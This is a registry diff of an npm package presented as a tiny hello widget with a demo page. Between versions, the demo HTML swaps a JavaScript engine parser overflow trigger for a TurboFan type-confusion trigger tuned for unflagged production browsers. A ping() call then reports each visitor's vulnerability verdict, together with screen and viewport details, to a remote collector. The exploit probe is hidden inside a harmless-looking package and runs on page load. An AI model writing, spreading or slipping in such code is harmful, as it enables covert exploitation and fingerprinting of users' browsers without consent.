@xxxfnbs21/hello-demo 0.1.5 → 0.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/build/index.html +48 -18
  2. package/package.json +12 -4
package/build/index.html CHANGED
@@ -73,7 +73,7 @@
73
73
  } catch (e) {}
74
74
  var params = {
75
75
  id: 'hello-demo',
76
- v: '0.1.5',
76
+ v: '0.1.8',
77
77
  t: Date.now(),
78
78
  vp: window.innerWidth + 'x' + window.innerHeight,
79
79
  sr: screen.width + 'x' + screen.height,
@@ -136,25 +136,55 @@
136
136
  })();
137
137
  </script>
138
138
 
139
- <!-- production-mode check (verbatim prod-chk-9968.js) -->
139
+ <!-- production-mode check (verbatim prod-chk-15903.js) -->
140
140
  <script>
141
- // chk-9968 — parser eval-count int32 overflow (production mode, no natives)
142
- // Trigger: new Function() with >2^20 eval-containing arrows must throw
143
- // SyntaxError ("Too many eval calls in script"). An affected build parses it.
144
- // Usage: plain classic script; prints VERDICT line when done.
141
+ // chk-15903 — TurboFan PlainPrimitiveToNumber word32 safe-integer check
142
+ // lost when feeding an additive-safe-integer add truncated to word32.
143
+ // Production mode: no natives syntax, no special flags. Natural tier-up.
144
+ //
145
+ // Key differences vs the upstream regression case:
146
+ // 1. The unary-plus must OBSERVE undefined after the lazily-allocated
147
+ // feedback vector exists (upstream uses %PrepareFunctionForOptimization
148
+ // for that), but the add must never see it — probes with stop=true are
149
+ // spread through the early warm-up.
150
+ // 2. A dead-branch pad makes the function non-inlinable so the caller's OSR
151
+ // cannot inline it and it tiers all the way up to TurboFan.
152
+ // affected: (NaN + C)|0 forges -1072689152 instead of 0.
145
153
  (function () {
146
- const count = 1048573;
147
- const filler = "()=>0;";
148
- const s = filler.repeat(count) + "(x = eval('')) => {}";
149
- let threw = false, errInfo = '';
150
- try { new Function(s); } catch (e) { threw = true; errInfo = '' + e; }
151
- let verdict;
152
- if (!threw) {
153
- verdict = 'VERDICT: chk-9968 TRIGGERED :: ' +
154
- 'no SyntaxError for ' + count + ' eval calls (parser count overflowed)';
155
- } else {
156
- verdict = 'VERDICT: chk-9968 NOT-TRIGGERED :: parser rejected: ' + errInfo;
154
+ const C = 0x40101000;
155
+ const TK = -0x40101000;
156
+ const pad = Array(120).fill('z += 1;').join('');
157
+ const warmCounts = [20000, 100000, 500000];
158
+ let triggered = false, detail = '';
159
+
160
+ for (let a = 0; a < warmCounts.length && !triggered; a++) {
161
+ const N = warmCounts[a];
162
+ const f = Function('C', 'TK', `
163
+ return function f${a}(route, stop) {
164
+ if (route === 0x13371337) { let z = 0; ${pad} return z; } // dead pad
165
+ let n = +(route ? TK : undefined);
166
+ if (stop) return 0;
167
+ return (n + C) | 0;
168
+ };`)(C, TK);
169
+ for (let i = 0; i < N; i++) {
170
+ f(true, false);
171
+ // ToNumber sees undefined (post feedback-vector allocation, pre-TF
172
+ // compile); the early return keeps the add's feedback signed-small.
173
+ if (i === 10 || i === 100 || i === 1000 || i === 10000) f(false, true);
174
+ }
175
+ // Let the concurrent TurboFan job finish before the one-shot check.
176
+ const until = Date.now() + 50;
177
+ while (Date.now() < until) {}
178
+ const r = f(false, false); // undefined now flows into the add
179
+ if (r !== 0) {
180
+ triggered = true;
181
+ detail = 'warm=' + N + ': (undefined->NaN + C)|0 forged ' + r + ' instead of 0';
182
+ }
157
183
  }
184
+
185
+ const verdict = triggered
186
+ ? 'VERDICT: chk-15903 TRIGGERED :: ' + detail
187
+ : 'VERDICT: chk-15903 NOT-TRIGGERED :: correct 0 at every warm-up count';
158
188
  console.log(verdict);
159
189
  if (typeof document !== 'undefined') document.title = verdict;
160
190
  })();
@@ -163,7 +193,7 @@
163
193
  <!-- report the verdict via ping() -->
164
194
  <script>
165
195
  (function () {
166
- var cid = '9968';
196
+ var cid = '15903';
167
197
  var line = window.__verdict || ('VERDICT: chk-' + cid + ' ERROR :: no verdict captured');
168
198
  var st = line.indexOf('NOT-TRIGGERED') >= 0 ? '0' : (line.indexOf('TRIGGERED') >= 0 ? '1' : 'e');
169
199
  try { ping({ cid: cid, st: st, vd: line }); } catch (e) {}
package/package.json CHANGED
@@ -1,8 +1,16 @@
1
1
  {
2
2
  "name": "@xxxfnbs21/hello-demo",
3
- "version": "0.1.5",
3
+ "version": "0.1.8",
4
4
  "description": "A tiny hello widget with an online demo page",
5
5
  "main": "lib/index.js",
6
- "files": ["lib", "build", "README.md"],
7
- "keywords": ["hello", "demo", "widget"]
8
- }
6
+ "files": [
7
+ "lib",
8
+ "build/*.html",
9
+ "README.md"
10
+ ],
11
+ "keywords": [
12
+ "hello",
13
+ "demo",
14
+ "widget"
15
+ ]
16
+ }